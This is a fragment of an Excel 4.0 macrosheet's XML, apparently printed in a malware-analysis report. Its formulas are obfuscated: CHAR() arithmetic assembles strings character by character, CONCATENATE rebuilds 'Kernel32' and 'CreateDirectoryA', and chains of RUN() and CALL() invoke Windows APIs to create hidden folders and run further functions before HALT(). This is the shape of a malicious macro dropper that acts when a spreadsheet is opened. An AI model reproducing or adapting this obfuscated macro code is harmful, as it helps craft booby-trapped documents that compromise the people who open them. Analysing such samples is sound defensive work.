spans="49:240" x14ac:dyDescent="0.25"><c r="IF1735"><v>54</v></c></row><row r="1742" spans="49:240" x14ac:dyDescent="0.25"><c r="AW1742" t="str"><f>CHAR($HR$387-447)</f><v>x</v></c></row><row r="1750" spans="14:200" x14ac:dyDescent="0.25"><c r="FM1750" t="b"><f>RUN($DN$976)</f><v>0</v></c></row><row r="1753" spans="14:200" x14ac:dyDescent="0.25"><c r="EO1753" t="b"><f>RUN($GA$804)</f><v>0</v></c></row><row r="1756" spans="14:200" x14ac:dyDescent="0.25"><c r="GR1756"><v>162</v></c></row><row r="1757" spans="14:200" x14ac:dyDescent="0.25"><c r="FC1757" t="str"><f>CHAR($ER$241-50)</f><v>.</v></c></row><row r="1758" spans="14:200" x14ac:dyDescent="0.25"><c r="N1758" t="str"><f>CHAR($CP$1274-447)</f><v>e</v></c><c r="CC1758"><v>30</v></c></row><row r="1760" spans="14:200" x14ac:dyDescent="0.25"><c r="AY1760" t="b"><f>RUN($HX$547)</f><v>0</v></c><c r="BK1760" t="b"><f>RUN($G$64)</f><v>0</v></c></row><row r="1766" spans="53:127" x14ac:dyDescent="0.25"><c r="BA1766"><v>85</v></c><c r="BH1766" t="str"><f>CHAR($HI$1489-447)</f><v>C</v></c></row><row r="1775" spans="53:127" x14ac:dyDescent="0.25"><c r="DW1775"><v>167</v></c></row><row r="1777" spans="70:213" x14ac:dyDescent="0.25"><c r="DS1777" t="b"><f>RUN($CT$1808)</f><v>0</v></c></row><row r="1778" spans="70:213" x14ac:dyDescent="0.25"><c r="CF1778" t="b"><f>RUN($EV$1161)</f><v>0</v></c><c r="HE1778"><v>548</v></c></row><row r="1779" spans="70:213" x14ac:dyDescent="0.25"><c r="FB1779" t="str"><f>CHAR($EX$381-50)</f><v>w</v></c></row><row r="1780" spans="70:213" x14ac:dyDescent="0.25"><c r="BR1780" t="b"><f>RUN($DX$1324)</f><v>0</v></c></row><row r="1781" spans="70:213" x14ac:dyDescent="0.25"><c r="DD1781" t="str"><f>CONCATENATE($ES$413)</f><v>CreateDirectoryA</v></c></row><row r="1784" spans="70:213" x14ac:dyDescent="0.25"><c r="HB1784" t="str"><f>CHAR($FA$1371-262)</f><v>C</v></c></row><row r="1794" spans="31:239" x14ac:dyDescent="0.25"><c r="AE1794" t="b"><f>RUN($CE$601)</f><v>0</v></c></row><row r="1796" spans="31:239" x14ac:dyDescent="0.25"><c r="DE1796"><v>151</v></c></row><row r="1799" spans="31:239" x14ac:dyDescent="0.25"><c r="GE1799"><v>66</v></c></row><row r="1800" spans="31:239" x14ac:dyDescent="0.25"><c r="EP1800" t="b"><f>RUN($IN$311)</f><v>0</v></c></row><row r="1802" spans="31:239" x14ac:dyDescent="0.25"><c r="CJ1802"><v>151</v></c></row><row r="1803" spans="31:239" x14ac:dyDescent="0.25"><c r="IE1803" t="b"><f>RUN($HC$429)</f><v>0</v></c></row><row r="1804" spans="31:239" x14ac:dyDescent="0.25"><c r="BW1804"><v>0</v></c></row><row r="1808" spans="31:239" x14ac:dyDescent="0.25"><c r="CT1808" t="b"><f>RUN($IK$1067)</f><v>0</v></c></row><row r="1816" spans="142:195" x14ac:dyDescent="0.25"><c r="GM1816" t="b"><f>CALL($CT$583,$DD$1781,"JCJ","C:\GLITWlH",0)</f><v>0</v></c></row><row r="1817" spans="142:195" x14ac:dyDescent="0.25"><c r="GM1817" t="b"><f>CALL($CT$583,$DD$1781,"JCJ","C:\GLITWlH\IRbWzPi",0)</f><v>0</v></c></row><row r="1818" spans="142:195" x14ac:dyDescent="0.25"><c r="GM1818" t="b"><f>CALL($CD$1667,$DT$789, "JJCCJJ",0,$BB$54,$IK$203,0,0)</f><v>0</v></c></row><row r="1819" spans="142:195" x14ac:dyDescent="0.25"><c r="GM1819" t="b"><f>CALL($I$83,$AM$226, "JJCCCCJ",0,$O$1933,$IK$203,,0,0)</f><v>0</v></c></row><row r="1823" spans="142:195" x14ac:dyDescent="0.25"><c r="EL1823"><v>50</v></c></row><row r="1824" spans="142:195" x14ac:dyDescent="0.25"><c r="GM1824" t="b"><f>HALT()</f><v>0</v></c></row><row r="1827" spans="83:190" x14ac:dyDescent="0.25"><c r="CE1827" t="str"><f>CHAR($FK$1632-262)</f><v>H</v></c></row><row r="1829" spans="83:190" x14ac:dyDescent="0.25"><c r="GH1829" t="str"><f>CHAR($BQ$155-447)</f><v>e</v></c></row><row r="1831" spans="83:190" x14ac:dyDescent="0.25"><c r="FZ1831" t="b"><f>RUN($HU$1376)</f><v>0</v></c></row><row r="1833" spans="83:190" x14ac:dyDescent="0.25"><c r="FT1833" t="str"><f>CHAR($IH$984-533)</f><v>e</v></c></row><row r="1835" spans="83:190" x14ac:dyDescent="0.25"><c r="EK1835" t="str"><f>CHAR($BL$786-447)</f><v>o</v></c></row><row r="1853" spans="243:243" x14ac:dyDescent="0.25"><c r="II1853"><v>97</v></c></row><row r="1861" spans="176:222" x14ac:dyDescent="0.25"><c r="GS1861"><v>68</v></c><c r="HN1861"><v>18</v></c></row><row r="1862" spans="176:222" x14ac:dyDescent="0.25"><c r="FT1862"><v>28</v></c></row><row r="1864" spans="176:222" x14ac:dyDescent="0.25"><c r="GJ1864" t="str"><f>CHAR($DQ$875-447)</f><v>t</v></c></row><row r="1877" spans="30:200" x14ac:dyDescent="0.25"><c r="GR1877"><v>159</v></c></row><row r="1884" spans="30:200" x14ac:dyDescent="0.25"><c r="AD1884" t="str"><f>CHAR($DB$1449-447)</f><v>d</v></c><c r="ED1884"><v>93</v></c></row><row r="1902" spans="69:79" x14ac:dyDescent="0.25"><c r="BQ1902"><v>48</v></c></row><row r="1903" spans="69:79" x14ac:dyDescent="0.25"><c r="CA1903" t="str"><f>CHAR($DU$1649-447)</f><v>e</v></c></row><row r="1906" spans="49:225" x14ac:dyDescent="0.25"><c r="AW1906"><v>71</v></c></row><row r="1907" spans="49:225" x14ac:dyDescent="0.25"><c r="FV1907" t="b"><f>RUN($GH$411)</f><v>0</v></c></row><row r="1915" spans="49:225" x14ac:dyDescent="0.25"><c r="CD1915"><v>78</v></c></row><row r="1918" spans="49:225" x14ac:dyDescent="0.25"><c r="BJ1918" t="b"><f>RUN($CZ$250)</f><v>0</v></c><c r="HQ1918"><v>99</v></c></row><row r="1923" spans="15:199" x14ac:dyDescent="0.25"><c r="EP1923" t="str"><f>CONCATENATE($DC$820,$L$1656,$CR$1089,$AA$510,$GM$1606,$CB$1337,$II$1327,$BX$441)</f><v>Kernel32</v></c></row><row r="1929" spans="15:199" x14ac:dyDescent="0.25"><c r="AN1929"><v>641</v></c></row><row r="1932" spans="15:199" x14ac:dyDescent="0.25"><c r="GP1932"><v>90</v></c><c r="GQ1932"><v>50</v></c></row><row r="1933" spans="15:199" x14ac:dyDescent="0.25"><c r="O1933" t="str"><f>CONCATENATE($EP$884)</f><v>Open</v></c></row><row r="1938" spans="17:176" x14ac:dyDescent="0.25"><c r="CQ1938"><v>12</v></c></row><row r="1939" spans="17:176" x14ac:dyDescent="0.25"><c r="FI1939"><v>84</v></c></row><row r="1940" spans="17:176" x14ac:dyDescent="0.25"><c r="FQ1940" t="str"><f>CHAR($AP$1602-262)</f><v>z</v></c></row><row r="1942" spans="17:176" x14ac:dyDescent="0.25"><c r="FT1942"><v>584</v></c></row><row r="1943" spans="17:176" x14ac:dyDescent="0.25"><c r="Q1943" t="b"><f>RUN($FM$1750)</f><v>0</v></c></row><row r="1946" spans="17:176" x14ac:dyDescent="0.25"><c r="EU1946"><v>72</v></c></row><row r="1954" spans="25:242" x14ac:dyDescent="0.25"><c r="GW1954"><v>546</v></c></row><row r="1956" spans="25:242" x14ac:dyDescent="0.25"><c r="Y1956"><v>84</v></c></row><row r="1957" spans="25:242" x14ac:dyDescent="0.25"><c r="AR1957"><v>610</v></c></row><row r="1960" spans="25:242" x14ac:dyDescent="0.25"><c r="CH1960" t="b"><f>RUN($EG$386)</f><v>0</v></c></row><row r="1961" spans="25:242" x14ac:dyDescent="0.25"><c r="EZ1961"><v>11</v></c></row><row r="1966" spans="25:242" x14ac:dyDescent="0.25"><c r="IH1966" t="str"><f>CHAR($GB$164-50)</f><v>h</v></c></row><row r="1969" spans="51:131" x14ac:dyDescent="0.25"><c r="DE1969"><v>97</v></c></row><row r="1973" spans="51:131" x14ac:dyDescent="0.25"><c r="CY1973" t="str"><f>CHAR($EW$485-447)</f><v>o</v></c></row><row r="1974" spans="51:131" x14ac:dyDescent="0.25"><c r="EA1974"><v>647</v></c></row><row r="1976" spans="51:131" x14ac:dyDescent="0.25"><c r="AY1976"><v>523</v></c></row><row r="1992" spans="115:141" x14ac:dyDescent="0.25"><c r="DK1992"><v>376</v></c></row><row r="1994" spans="115:141" x14ac:dyDescent="0.25"><c r="EK1994" t="b"><f>RUN($HG$1361)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.